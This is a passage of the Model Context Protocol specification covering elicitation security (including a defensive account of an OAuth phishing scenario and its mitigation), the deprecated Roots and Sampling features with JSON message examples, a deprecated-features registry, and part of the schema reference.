3. Clients **SHOULD** implement user approval controls
4. Clients **SHOULD** allow users to decline elicitation requests at any time
5. Clients **SHOULD** present elicitation requests in a way that makes it clear what information is being requested and why
### Safe URL Handling
MCP servers requesting elicitation:
1. **MUST NOT** include sensitive information about the end-user, including credentials, personally identifiable information, etc., in the URL sent to the client in a URL elicitation request.
2. **MUST NOT** provide a URL which is pre-authenticated to access a protected resource, as the URL could be used to impersonate the user by a malicious client.
3. **SHOULD NOT** include URLs intended to be clickable in any field of a form mode elicitation request.
4. **SHOULD** use HTTPS URLs for non-development environments.
These server requirements ensure that client implementations have clear rules about when to present a URL to the user, so that the client-side rules (below) can be consistently applied.
Clients implementing URL mode elicitation **MUST** handle URLs carefully to prevent users from unknowingly clicking malicious links.
When handling URL mode elicitation requests, MCP clients:
1. **MUST NOT** automatically pre-fetch the URL or any of its metadata.
2. **MUST NOT** open the URL without explicit consent from the user.
3. **MUST** show the full URL to the user for examination before consent.
4. **MUST** open the URL provided by the server in a secure manner that does not enable the client or LLM to inspect the content or user inputs.
For example, on iOS, [SFSafariViewController](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller) is good, but [WkWebView](https://developer.apple.com/documentation/webkit/wkwebview) is not.
5. **SHOULD** highlight the domain of the URL to mitigate subdomain spoofing.
6. **SHOULD** have warnings for ambiguous/suspicious URIs (i.e., containing Punycode).
7. **SHOULD NOT** render URLs as clickable in any field of an elicitation request, except for the `url` field in a URL elicitation request (with the restrictions detailed above).
### Identifying the User
Servers **MUST NOT** rely on client-provided user identification without server verification, as this can be forged.
Instead, servers **SHOULD** follow [security best practices](/docs/2026-07-28/tutorials/security/security_best_practices).
Non-normative examples:
* Incorrect: Treat user input like "I am [joe@example.com](mailto:joe@example.com)" as authoritative
* Correct: Rely on [authorization](../basic/authorization) to identify the user
### Form Mode Security
1. Servers **MUST NOT** request sensitive information (passwords, API keys, etc.) via form mode
2. Clients **SHOULD** validate all responses against the provided schema
3. Servers **SHOULD** validate received data matches the requested schema
#### Phishing
URL mode elicitation returns a URL that an attacker can use to send to a victim. The MCP Server **MUST** verify the identity of the user who opens the URL before accepting information.
Typically identity verification is done by leveraging the [MCP authorization server](../basic/authorization) to identify the user, through a session cookie or equivalent in the browser.
For example, URL mode elicitation may be used to perform OAuth flows where the server acts as an OAuth client of another resource server. Without proper mitigation, the following phishing attack is possible:
1. A malicious user (Alice) connected to a benign server triggers an elicitation request
2. The benign server generates an authorization URL, acting as an OAuth client of a third-party authorization server
3. Alice's client displays the URL and asks for consent
4. Instead of clicking on the link, Alice tricks a victim user (Bob) of the same benign server into clicking it
5. Bob opens the link and completes the authorization, thinking they are authorizing their own connection to the benign server
6. The benign server receives a callback/redirect from the third-party authorization server, and assumes it's Alice's request
7. The tokens for the third-party server are bound to Alice's session and identity, instead of Bob's, resulting in an account takeover
To prevent this attack, the server **MUST** ensure that the user who started the elicitation request (the end-user who is accessing the server via the MCP client) is the same user who completes the authorization flow.
There are many ways to achieve this and the best way will depend on the specific implementation.
As a common, non-normative example, consider a case where the MCP server is accessible via the web and desires to perform a third-party authorization code flow.
To prevent the phishing attack, the server would create a URL mode elicitation to `https://mcp.example.com/connect?...` rather than the third-party authorization endpoint.
This "connect URL" must ensure the user who opened the page is the same user for whom the elicitation was generated.
It would, for example, check that the user has a valid session cookie and that the session cookie is for the same user who was using the MCP client to generate the URL mode elicitation.
This could be done by comparing the authoritative subject (`sub` claim) from the MCP server's authorization server to the subject from the session cookie.
Once that page ensures the same user, it can send the user to the third-party authorization server at `https://example.com/authorize?...` where a normal OAuth flow can be completed.
In other cases, the server may not be accessible via the web and may not be able to use a session cookie to identify the user.
In this case, the server must use a different mechanism to identify that the user who opens the elicitation URL is the same user for whom the elicitation was generated.
In all implementations, the server **MUST** ensure that the mechanism to determine the user's identity is resilient to attacks where an attacker can modify the elicitation URL.
# Roots
Source: https://modelcontextprotocol.io/specification/2026-07-28/client/roots
**Deprecated**: The Roots feature is deprecated as of protocol version
`2026-07-28`
([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
Under the [feature lifecycle policy](/community/feature-lifecycle), it remains
in the specification for at least twelve months after this revision's release
before it becomes eligible for removal. New implementations **SHOULD NOT**
adopt it; existing implementations **SHOULD** migrate to passing directories
or files via tool parameters, resource URIs, or server configuration. See the
[deprecated features registry](/specification/2026-07-28/deprecated).
The Model Context Protocol (MCP) provides a standardized way for clients to expose
filesystem "roots" to servers. Roots inform servers about the directories and files the
client considers relevant, so that servers can focus their operations accordingly. They
are informational guidance rather than an access-control mechanism. The protocol does
not enforce that servers stay within roots. Servers can request the list of roots from
supporting clients.
## User Interaction Model
Roots in MCP are typically exposed through workspace or project configuration interfaces.
For example, implementations could offer a workspace/project picker that allows users to
select directories and files the server should have access to. This can be combined with
automatic workspace detection from version control systems or project files.
However, implementations are free to expose roots through any interface pattern that
suits their needs—the protocol itself does not mandate any specific user
interaction model.
## Capabilities
Clients that support roots **MUST** declare the `roots` capability in
`_meta.io.modelcontextprotocol/clientCapabilities` on each request:
```json theme={null}
{
"_meta": {
"io.modelcontextprotocol/clientCapabilities": {
"roots": {}
}
}
}
```
## Protocol Messages
### Listing Roots
To retrieve roots during the processing of a client request, servers send an `InputRequiredResult`
containing a `roots/list` request:
**Input request (delivered inside [`InputRequiredResult.inputRequests`](/specification/2026-07-28/basic/patterns/mrtr#inputrequests)):**
```json theme={null}
{
"method": "roots/list"
}
```
**Client result (returned inside `inputResponses` on the retried request):**
```json theme={null}
{
"roots": [
{
"uri": "file:///home/user/projects/myproject",
"name": "My Project"
}
]
}
```
## Message Flow
```mermaid theme={null}
sequenceDiagram
participant Server
participant Client
Note over Server,Client: Initial Request
Client->>Server: tools/call(id: 1)
Server-->>Client: InputRequiredResult(roots/list)
Client->>Server: tools/call(id: 2, inputResponses{key: roots} + requestState)
```
## Data Types
### Root
A root definition includes:
* `uri`: Unique identifier for the root. This **MUST** be a `file://` URI in the current
specification.
* `name`: Optional human-readable name for display purposes.
Example roots for different use cases:
#### Project Directory
```json theme={null}
{
"uri": "file:///home/user/projects/myproject",
"name": "My Project"
}
```
#### Multiple Repositories
```json theme={null}
[
{
"uri": "file:///home/user/repos/frontend",
"name": "Frontend Repository"
},
{
"uri": "file:///home/user/repos/backend",
"name": "Backend Repository"
}
]
```
## Error Handling
If an error occurs, the client does not need to replay the initial call with an error message
as the server is not waiting for a response with the `InputRequiredResult` pattern.
## Security Considerations
1. Clients **MUST**:
* Only expose roots with appropriate permissions
* Validate all root URIs to prevent path traversal
* Implement proper access controls
* Monitor root accessibility
2. Servers **SHOULD**:
* Handle cases where roots become unavailable
* Respect root boundaries during operations
* Validate all paths against provided roots
## Implementation Guidelines
1. Clients **SHOULD**:
* Prompt users for consent before exposing roots to servers
* Provide clear user interfaces for root management
* Validate root accessibility before exposing
* Monitor for root changes
2. Servers **SHOULD**:
* Check for roots capability before usage
* Respect root boundaries in operations
* Cache root information appropriately
# Sampling
Source: https://modelcontextprotocol.io/specification/2026-07-28/client/sampling
**Deprecated**: The Sampling feature is deprecated as of protocol version
`2026-07-28`
([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
Under the [feature lifecycle policy](/community/feature-lifecycle), it remains
in the specification for at least twelve months after this revision's release
before it becomes eligible for removal. New implementations **SHOULD NOT**
adopt it; existing implementations **SHOULD** migrate to integrating directly
with LLM provider APIs. See the [deprecated features
registry](/specification/2026-07-28/deprecated).
The Model Context Protocol (MCP) provides a standardized way for servers to request LLM
sampling ("completions" or "generations") from language models via clients. This flow
allows clients to maintain control over model access, selection, and permissions while
enabling servers to leverage AI capabilities—with no server API keys necessary.
Servers can request text, audio, or image-based interactions and optionally include
context from MCP servers in their prompts.
## User Interaction Model
Sampling in MCP allows servers to implement agentic behaviors, by enabling LLM calls to
occur *nested* inside other MCP server features.
Implementations are free to expose sampling through any interface pattern that suits
their needs—the protocol itself does not mandate any specific user interaction
model.
For trust & safety and security, there **SHOULD** always
be a human in the loop with the ability to deny sampling requests.
Applications **SHOULD**:
* Provide UI that makes it easy and intuitive to review sampling requests
* Allow users to view and edit prompts before sending
* Present generated responses for review before delivery
## Tools in Sampling
Servers can request that the client's LLM use tools during sampling by providing a `tools` array and optional `toolChoice` configuration in their sampling requests. The tool definitions in the `tools` array are scoped to the sampling request — they don't need to correspond to registered tools. This enables servers to implement agentic behaviors where the LLM can call specially designated tools, receive results, and continue the conversation - all within a single sampling request flow.
Clients **MUST** declare support for tool use via the `sampling.tools` capability to receive tool-enabled sampling requests. Servers **MUST NOT** send tool-enabled sampling requests to Clients that have not declared support for tool use via the `sampling.tools` capability.
## Capabilities
Clients that support sampling **MUST** declare the `sampling` capability in
`_meta.io.modelcontextprotocol/clientCapabilities` on each request:
**Basic sampling:**
```json theme={null}
{
"_meta": {
"io.modelcontextprotocol/clientCapabilities": {
"sampling": {}
}
}
}
```
**With tool use support:**
```json theme={null}
{
"_meta": {
"io.modelcontextprotocol/clientCapabilities": {
"sampling": {
"tools": {}
}
}
}
}
```
**With context inclusion support (deprecated):**
```json theme={null}
{
"_meta": {
"io.modelcontextprotocol/clientCapabilities": {
"sampling": {
"context": {}
}
}
}
}
```
The `includeContext` parameter values `"thisServer"` and `"allServers"` are
deprecated under the [feature lifecycle
policy](/community/feature-lifecycle#deprecating-a-feature)
([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596));
they will be removed no later than the Sampling feature itself. Servers
**SHOULD** avoid using these values (e.g. can just omit `includeContext` since
it defaults to `"none"`), and **SHOULD NOT** use them unless the client
declares `sampling.context` capability. See the [deprecated features
registry](/specification/2026-07-28/deprecated).
## Protocol Messages
### Creating Messages
To request a language model generation during the processing of a client request, servers send an `InputRequiredResult` containing a `sampling/createMessage` request:
**Input request (delivered inside [`InputRequiredResult.inputRequests`](/specification/2026-07-28/basic/patterns/mrtr#inputrequests)):**
```json theme={null}
{
"method": "sampling/createMessage",
"params": {
"messages": [
{
"role": "user",
"content": {
"type": "text",
"text": "What is the capital of France?"
}
}
],
"modelPreferences": {
"hints": [
{
"name": "claude-3-sonnet"
}
],
"costPriority": 0.3,
"intelligencePriority": 0.8,
"speedPriority": 0.5
},
"temperature": 0.1,
"systemPrompt": "You are a helpful assistant.",
"includeContext": "thisServer",
"maxTokens": 100
}
}
```
**Client result (returned inside `inputResponses` on the retried request):**
```json theme={null}
{
"role": "assistant",
"content": {
"type": "text",
"text": "The capital of France is Paris."
},
"model": "claude-3-sonnet-20240307",
"stopReason": "endTurn"
}
```
### Sampling with Tools
The following diagram illustrates the complete flow of sampling with tools, including the multi-turn tool loop:
```mermaid theme={null}
sequenceDiagram
participant Server
participant Client
participant User
participant LLM
Client->>Server: tools/call(id:1)
note right of Server: Server needs more info
Server->>Client: InputRequiredResult( sampling/createMessage (messages + tools))
Note over Client,User: Human-in-the-loop review
Client->>User: Present request for approval
User-->>Client: Approve/modify
Client->>LLM: Forward request with tools
LLM-->>Client: Response with tool_use (stopReason: "toolUse")
Client->>User: Present tool calls for review
User-->>Client: Approve tool calls
Client-->>Server: tools/call(id:2, Return tool_use response)
Note over Server: Execute tool(s)
Server->>Server: Run get_weather("Paris") Run get_weather("London")
Note over Server,Client: Continue with tool results
Server->>Client: InputRequiredResult( sampling/createMessage (history + tool_results + tools))
Client->>User: Present continuation
User-->>Client: Approve
Client->>LLM: Forward with tool results
LLM-->>Client: Final text response (stopReason: "endTurn")
Client->>User: Present response
User-->>Client: Approve
Client-->>Server: tools/call(id:3, Return final response)
Note over Server: Server processes result (may continue conversation...)
```
To request LLM generation with tool use capabilities, servers include `tools` and optionally `toolChoice` in the request:
**Input request (Server -> Client, delivered inside `InputRequiredResult.inputRequests`):**
```json theme={null}
{
"method": "sampling/createMessage",
"params": {
"messages": [
{
"role": "user",
"content": {
"type": "text",
"text": "What's the weather like in Paris and London?"
}
}
],
"tools": [
{
"name": "get_weather",
"description": "Get current weather for a city",
"inputSchema": {
"type": "object",
"properties": {
"city": {
"type": "string",
"description": "City name"
}
},
"required": ["city"]
}
}
],
"toolChoice": {
"mode": "auto"
},
"maxTokens": 1000
}
}
```
**Client result (Client -> Server, returned inside `inputResponses` on the retried request):**
```json theme={null}
{
"role": "assistant",
"content": [
{
"type": "tool_use",
"id": "call_abc123",
"name": "get_weather",
"input": {
"city": "Paris"
}
},
{
"type": "tool_use",
"id": "call_def456",
"name": "get_weather",
"input": {
"city": "London"
}
}
],
"model": "claude-3-sonnet-20240307",
"stopReason": "toolUse"
}
```
### Multi-turn Tool Loop
After receiving tool use requests from the LLM, the server typically:
1. Executes the requested tool uses.
2. Sends a new sampling request with the tool results appended
3. Receives the LLM's response (which might contain new tool uses)
4. Repeats as many times as needed (server might cap the maximum number of iterations, and e.g. pass `toolChoice: {mode: "none"}` on the last iteration to force a final result)
**Follow-up input request (Server -> Client, delivered inside `InputRequiredResult.inputRequests`) with tool results:**
```json theme={null}
{
"method": "sampling/createMessage",
"params": {
"messages": [
{
"role": "user",
"content": {
"type": "text",
"text": "What's the weather like in Paris and London?"
}
},
{
"role": "assistant",
"content": [
{
"type": "tool_use",
"id": "call_abc123",
"name": "get_weather",
"input": { "city": "Paris" }
},
{
"type": "tool_use",
"id": "call_def456",
"name": "get_weather",
"input": { "city": "London" }
}
]
},
{
"role": "user",
"content": [
{
"type": "tool_result",
"toolUseId": "call_abc123",
"content": [
{
"type": "text",
"text": "Weather in Paris: 18°C, partly cloudy"
}
]
},
{
"type": "tool_result",
"toolUseId": "call_def456",
"content": [
{
"type": "text",
"text": "Weather in London: 15°C, rainy"
}
]
}
]
}
],
"tools": [
{
"name": "get_weather",
"description": "Get current weather for a city",
"inputSchema": {
"type": "object",
"properties": {
"city": { "type": "string" }
},
"required": ["city"]
}
}
],
"maxTokens": 1000
}
}
```
**Final client result (Client -> Server, returned inside `inputResponses` on the retried request):**
```json theme={null}
{
"role": "assistant",
"content": {
"type": "text",
"text": "Based on the current weather data:\n\n- **Paris**: 18°C and partly cloudy - quite pleasant!\n- **London**: 15°C and rainy - you'll want an umbrella.\n\nParis has slightly warmer and drier conditions today."
},
"model": "claude-3-sonnet-20240307",
"stopReason": "endTurn"
}
```
## Message Content Constraints
### Tool Result Messages
When a user message contains tool results (type: "tool\_result"), it **MUST** contain ONLY tool results. Mixing tool results with other content types (text, image, audio) in the same message is not allowed.
This constraint ensures compatibility with provider APIs that use dedicated roles for tool results (e.g., OpenAI's "tool" role, Gemini's "function" role).
**Valid - single tool result:**
```json theme={null}
{
"role": "user",
"content": {
"type": "tool_result",
"toolUseId": "call_123",
"content": [{ "type": "text", "text": "Result data" }]
}
}
```
**Valid - multiple tool results:**
```json theme={null}
{
"role": "user",
"content": [
{
"type": "tool_result",
"toolUseId": "call_123",
"content": [{ "type": "text", "text": "Result 1" }]
},
{
"type": "tool_result",
"toolUseId": "call_456",
"content": [{ "type": "text", "text": "Result 2" }]
}
]
}
```
**Invalid - mixed content:**
```json theme={null}
{
"role": "user",
"content": [
{
"type": "text",
"text": "Here are the results:"
},
{
"type": "tool_result",
"toolUseId": "call_123",
"content": [{ "type": "text", "text": "Result data" }]
}
]
}
```
### Tool Use and Result Balance
When using tool use in sampling, every assistant message containing `ToolUseContent` blocks **MUST** be followed by a user message that consists entirely of `ToolResultContent` blocks, with each tool use (e.g. with `id: $id`) matched by a corresponding tool result (with `toolUseId: $id`), before any other message.
This requirement ensures:
* Tool uses are always resolved before the conversation continues
* Provider APIs can concurrently process multiple tool uses and fetch their results in parallel
* The conversation maintains a consistent request-response pattern
**Example valid sequence:**
1. User message: "What's the weather like in Paris and London?"
2. Assistant message: `ToolUseContent` (`id: "call_abc123", name: "get_weather", input: {city: "Paris"}`) + `ToolUseContent` (`id: "call_def456", name: "get_weather", input: {city: "London"}`)
3. User message: `ToolResultContent` (`toolUseId: "call_abc123", content: "18°C, partly cloudy"`) + `ToolResultContent` (`toolUseId: "call_def456", content: "15°C, rainy"`)
4. Assistant message: Text response comparing the weather in both cities
**Invalid sequence - missing tool result:**
1. User message: "What's the weather like in Paris and London?"
2. Assistant message: `ToolUseContent` (`id: "call_abc123", name: "get_weather", input: {city: "Paris"}`) + `ToolUseContent` (`id: "call_def456", name: "get_weather", input: {city: "London"}`)
3. User message: `ToolResultContent` (`toolUseId: "call_abc123", content: "18°C, partly cloudy"`) ← Missing result for call\_def456
4. Assistant message: Text response (invalid - not all tool uses were resolved)
## Cross-API Compatibility
The sampling specification is designed to work across multiple LLM provider APIs (Claude, OpenAI, Gemini, etc.). Key design decisions for compatibility:
### Message Roles
MCP uses two roles: "user" and "assistant".
Tool use requests are sent in CreateMessageResult with the "assistant" role.
Tool results are sent back in messages with the "user" role.
Messages with tool results cannot contain other kinds of content.
### Tool Choice Modes
`CreateMessageRequest.params.toolChoice` controls the tool use ability of the model:
* `{mode: "auto"}`: Model decides whether to use tools (default)
* `{mode: "required"}`: Model MUST use at least one tool before completing
* `{mode: "none"}`: Model MUST NOT use any tools
### Parallel Tool Use
MCP allows models to make multiple tool use requests in parallel (returning an array of `ToolUseContent`). All major provider APIs support this:
* **Claude**: Supports parallel tool use natively
* **OpenAI**: Supports parallel tool calls (can be disabled with `parallel_tool_calls: false`)
* **Gemini**: Supports parallel function calls natively
Implementations wrapping providers that support disabling parallel tool use MAY expose this as an extension, but it is not part of the core MCP specification.
## Message Flow
```mermaid theme={null}
sequenceDiagram
participant Server
participant Client
participant User
participant LLM
Client->>Server: tools/call(id:1)
note right of Server: Server needs more info
Server->>Client: InputRequiredResult( sampling/createMessage (messages + tools))
Note over Client,User: Human-in-the-loop review
Client->>User: Present request for approval
User-->>Client: Review and approve/modify
Note over Client,LLM: Model interaction
Client->>LLM: Forward approved request
LLM-->>Client: Return generation
Note over Client,User: Response review
Client->>User: Present response for approval
User-->>Client: Review and approve/modify
Note over Server,Client: Replay Request with approved response
Client-->>Server: tools/call(id:3, Return approved response)
```
## Data Types
### Messages
Sampling messages **MUST** contain a `role` field of `"user"` or `"assistant"`; and
a `content` field representing the message data.
The list of messages in a sampling request **SHOULD NOT** be retained between
separate requests.
The `content` field can contain:
#### Text Content
```json theme={null}
{
"type": "text",
"text": "The message content"
}
```
#### Image Content
```json theme={null}
{
"type": "image",
"data": "base64-encoded-image-data",
"mimeType": "image/jpeg"
}
```
#### Audio Content
```json theme={null}
{
"type": "audio",
"data": "base64-encoded-audio-data",
"mimeType": "audio/wav"
}
```
### Model Preferences
Model selection in MCP requires careful abstraction since servers and clients may use
different AI providers with distinct model offerings. A server cannot simply request a
specific model by name since the client may not have access to that exact model or may
prefer to use a different provider's equivalent model.
To solve this, MCP implements a preference system that combines abstract capability
priorities with optional model hints:
#### Capability Priorities
Servers express their needs through three normalized priority values (0-1):
* `costPriority`: How important is minimizing costs? Higher values prefer cheaper models.
* `speedPriority`: How important is low latency? Higher values prefer faster models.
* `intelligencePriority`: How important are advanced capabilities? Higher values prefer
more capable models.
#### Model Hints
While priorities help select models based on characteristics, `hints` allow servers to
suggest specific models or model families:
* Hints are treated as substrings that can match model names flexibly
* Multiple hints are evaluated in order of preference
* Clients **MAY** map hints to equivalent models from different providers
* Hints are advisory—clients make final model selection
For example:
```json theme={null}
{
"hints": [
{ "name": "claude-3-sonnet" }, // Prefer Sonnet-class models
{ "name": "claude" } // Fall back to any Claude model
],
"costPriority": 0.3, // Cost is less important
"speedPriority": 0.8, // Speed is very important
"intelligencePriority": 0.5 // Moderate capability needs
}
```
The client processes these preferences to select an appropriate model from its available
options. For instance, if the client doesn't have access to Claude models but has Gemini,
it might map the sonnet hint to `gemini-1.5-pro` based on similar capabilities.
### System Prompt
The optional `systemPrompt` field allows servers to request a specific system prompt.
The client **MAY** modify or ignore this field without communicating this to the server.
### Context Inclusion
The `includeContext` parameter specifies what context information the client is expected
to include in its response:
* `"none"`: No additional context.
* `"thisServer"`: Include context from the requesting server.
* `"allServers"`: Include context from all connected MCP servers.
The `"thisServer"` and `"allServers"` values are deprecated; see
[Capabilities](#capabilities).
The client **MAY** modify or ignore this field without communicating this to the server.
For example, a client could determine that respecting this field in a particular request
would require sharing sensitive information with a server, and constrain its response
accordingly.
### Sampling Parameters
LLM sampling can be fine-tuned with the following parameters:
* `temperature`: Controls randomness in model responses. Higher values produce higher randomness, and lower values produce more stable output. Valid range depends upon the model provider.
* `maxTokens`: Maximum tokens to generate; required.
* `stopSequences`: Array of sequences that stop generation.
* `metadata`: Additional provider-specific parameters.
The client **MUST** respect the `maxTokens` parameter.
The client **MAY** modify or ignore `temperature`, `stopSequences` and `metadata`. For
example, a client could use a model that does not support one or more of these parameters,
and would therefore be unable to leverage them.
### Result Fields
Sampling results will contain the following fields:
* `role`: The message role; see [Messages](#messages).
* `content`: The message content. This can be either:
* A single content block when the response contains only one content block, such as a single text response.
* An array of content blocks when the response contains one or more content blocks, such as multiple tool uses or mixed content.
See [Messages](#messages) for content block types.
* `model`: The name of the model that generated the message.
* `stopReason`: The reason why sampling stopped, if known. The specification defines the following (non-exhaustive) stop reasons, although implementations **MAY** provide their own arbitrary values:
* `"endTurn"`: The participant is yielding the conversation to the other party.
* `"stopSequence"`: Message generation encountered one of the requested `stopSequences`.
* `"maxTokens"`: The token limit was reached.
* `"toolUse"`: The model wants to use one or more tools.
## Error Handling
If an error occurs or the user declines the sampling request, the client does not need to replay the initial call with an
error message, as the server is not waiting for a response with the `InputRequiredResult` pattern.
## Security Considerations
1. Clients **SHOULD** implement user approval controls
2. Both parties **SHOULD** validate message content
3. Clients **SHOULD** respect model preference hints
4. Clients **SHOULD** implement rate limiting
5. Both parties **MUST** handle sensitive data appropriately
When tools are used in sampling, additional security considerations apply:
6. Servers **MUST** ensure that when replying to a `stopReason: "toolUse"`, each `ToolUseContent` item is responded to with a `ToolResultContent` item with a matching `toolUseId`, and that the user message contains only tool results (no other content types)
7. Both parties **SHOULD** implement iteration limits for tool loops
# Deprecated Features
Source: https://modelcontextprotocol.io/specification/2026-07-28/deprecated
This page is the registry of specification features that are currently in the
**Deprecated** state under the
[feature lifecycle and deprecation policy](/community/feature-lifecycle)
([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
A Deprecated feature remains part of the specification but is scheduled for
removal: new implementations **SHOULD NOT** adopt it, and existing
implementations **SHOULD** migrate before the feature's earliest removal. The
earliest removal marks when a feature becomes *eligible* for removal; the
actual removal is a Core Maintainer decision taken during release preparation
and may happen later.
This registry is a derived view kept consistent with the per-feature
deprecation notices and changelog entries, which are the normative records.
## Deprecated
| Feature | Deprecation SEP | Deprecated in | Migration path | Earliest removal |
| ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------- | ------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------- |
| [Roots](/specification/2026-07-28/client/roots) | [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) | `2026-07-28` | Pass directories or files via tool parameters, resource URIs, or server configuration | First revision released on or after 2027-07-28 |
| [Sampling](/specification/2026-07-28/client/sampling) | [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) | `2026-07-28` | Integrate directly with LLM provider APIs | First revision released on or after 2027-07-28 |
| [Logging](/specification/2026-07-28/server/utilities/logging) | [SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577) | `2026-07-28` | Log to `stderr` for stdio transports; use [OpenTelemetry](https://opentelemetry.io/) for observability | First revision released on or after 2027-07-28 |
| [Dynamic Client Registration](/specification/2026-07-28/basic/authorization/client-registration#dynamic-client-registration) | [PR #2858](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2858) | `2026-07-28` | [Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents) | First revision released on or after 2027-07-28 |
| `includeContext: "thisServer"` / `"allServers"` ([Sampling](/specification/2026-07-28/client/sampling#capabilities)) | [SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596) | `2025-11-25` | Omit the field or use `"none"` | Follows Sampling ([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)) |
| [HTTP+SSE transport](/specification/2024-11-05/basic/transports#http-with-sse) | [SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596) | `2025-03-26` | [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http) | Three months after SEP-2596 reaches Final |
The HTTP+SSE transport and the `includeContext` values were already described
as deprecated before the lifecycle policy existed; SEP-2596 reclassifies them
as Deprecated under its [transition provisions](/community/feature-lifecycle).
## Removed
No features have been removed under this policy yet. When a Deprecated feature
is removed, its row moves to this section with a link to the changelog entry
recording the removal.
# Specification
Source: https://modelcontextprotocol.io/specification/2026-07-28/index
[Model Context Protocol](https://modelcontextprotocol.io) (MCP) is an open protocol that
enables seamless integration between LLM applications and external data sources and
tools. Whether you're building an AI-powered IDE, enhancing a chat interface, or creating
custom AI workflows, MCP provides a standardized way to connect LLMs with the context
they need.
This specification defines the authoritative protocol requirements, based on the
TypeScript schema in
[schema.ts](https://github.com/modelcontextprotocol/specification/blob/main/schema/2026-07-28/schema.ts).
For implementation guides and examples, visit
[modelcontextprotocol.io](https://modelcontextprotocol.io).
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD
NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be
interpreted as described in [BCP 14](https://datatracker.ietf.org/doc/html/bcp14)
\[[RFC2119](https://datatracker.ietf.org/doc/html/rfc2119)]
\[[RFC8174](https://datatracker.ietf.org/doc/html/rfc8174)] when, and only when, they
appear in all capitals, as shown here.
## Overview
MCP provides a standardized way for applications to:
* Share contextual information with language models
* Expose tools and capabilities to AI systems
* Build composable integrations and workflows
The protocol uses [JSON-RPC](https://www.jsonrpc.org/) 2.0 messages to establish
communication between:
* **Hosts**: LLM applications that initiate connections
* **Clients**: Connectors within the host application
* **Servers**: Services that provide context and capabilities
MCP takes some inspiration from the
[Language Server Protocol](https://microsoft.github.io/language-server-protocol/), which
standardizes how to add support for programming languages across a whole ecosystem of
development tools. In a similar way, MCP standardizes how to integrate additional context
and tools into the ecosystem of AI applications.
## Key Details
### Base Protocol
* [JSON-RPC](https://www.jsonrpc.org/) message format
* Stateless, self-contained requests
* Per-request capability negotiation
### Features
Servers offer any of the following features to clients:
* **Resources**: Context and data, for the user or the AI model to use
* **Prompts**: Templated messages and workflows for users
* **Tools**: Functions for the AI model to execute
Clients may offer the following features to servers:
* **Elicitation**: Server-initiated requests for additional information from users
### Additional Utilities
* Configuration
* Progress tracking
* Cancellation
* Error reporting
### Extensions
Beyond the core protocol, MCP defines optional [extensions](/extensions/overview)
that add modular, specialized, or experimental functionality. Extensions
are always opt-in and require explicit support from both client and server, negotiated
during initialization. Notable extensions include:
* **[Tasks](/extensions/tasks/overview)**: Asynchronous execution of long-running
operations, with polling, mid-flight input, and durable handles
* **[Skills over MCP](/community/working-groups/skills-over-mcp)**: Rich, structured
instructions for agent workflows, discovered and consumed through MCP
* **[MCP Apps](/extensions/apps/overview)**: Interactive UI elements (charts, forms,
video players) rendered inline within conversations
## Security and Trust & Safety
The Model Context Protocol enables powerful capabilities through arbitrary data access
and code execution paths. With this power comes important security and trust
considerations that all implementors must carefully address.
### Key Principles
1. **User Consent and Control**
* Users must explicitly consent to and understand all data access and operations
* Users must retain control over what data is shared and what actions are taken
* Implementors should provide clear UIs for reviewing and authorizing activities
2. **Data Privacy**
* Hosts must obtain explicit user consent before exposing user data to servers
* Hosts must not transmit resource data elsewhere without user consent
* User data should be protected with appropriate access controls
3. **Tool Safety**
* Tools represent arbitrary code execution and must be treated with appropriate
caution.
* In particular, descriptions of tool behavior such as annotations should be
considered untrusted, unless obtained from a trusted server.
* Hosts must obtain explicit user consent before invoking any tool
* Users should understand what each tool does before authorizing its use
### Implementation Guidelines
While MCP itself cannot enforce these security principles at the protocol level,
implementors **SHOULD**:
1. Build robust consent and authorization flows into their applications
2. Provide clear documentation of security implications
3. Implement appropriate access controls and data protections
4. Follow security best practices in their integrations
5. Consider privacy implications in their feature designs
## Learn More
Explore the detailed specification for each protocol component:
# Schema Reference
Source: https://modelcontextprotocol.io/specification/2026-07-28/schema
## JSON-RPC
Optional annotations for the client. The client can use annotations to inform how objects are used or displayed
audience?: Role\[]
Describes who the intended audience of this object or data is.
It can include multiple entries to indicate content useful for multiple audiences (e.g., \["user", "assistant"]).
priority?: number
Describes how important this data is for operating the server.
A value of 1 means "most important," and indicates that the data is
effectively required, while 0 means "least important," and indicates that
the data is entirely optional.
lastModified?: string
The moment the resource was last modified, as an ISO 8601 formatted string.
Should be an ISO 8601 formatted string (e.g., "2025-01-12T15:00:58Z").
Examples: last activity timestamp in an open file, timestamp when the resource
was attached, etc.
### `Cursor`
Cursor:string
An opaque token used to represent a cursor for pagination.
An optionally-sized icon that can be displayed in a user interface.
src: string
A standard URI pointing to an icon resource. May be an HTTP/HTTPS URL or a data: URI with Base64-encoded image data.
Consumers SHOULD take steps to ensure URLs serving icons are from the
same domain as the client/server or a trusted domain.
Consumers SHOULD take appropriate precautions when consuming SVGs as they can contain
executable JavaScript.
mimeType?: string
Optional MIME type override if the source MIME type is missing or generic.
For example: "image/png", "image/jpeg", or "image/svg+xml".
sizes?: string\[]
Optional array of strings that specify sizes at which the icon can be used.
Each string should be in WxH format (e.g., "48x48", "96x96") or "any" for scalable formats like SVG.
If not provided, the client should assume that the icon can be used at any size.
theme?: "light" | "dark"
Optional specifier for the theme this icon is designed for. "light" indicates
the icon is designed to be used with a light background, and "dark" indicates
the icon is designed to be used with a dark background.
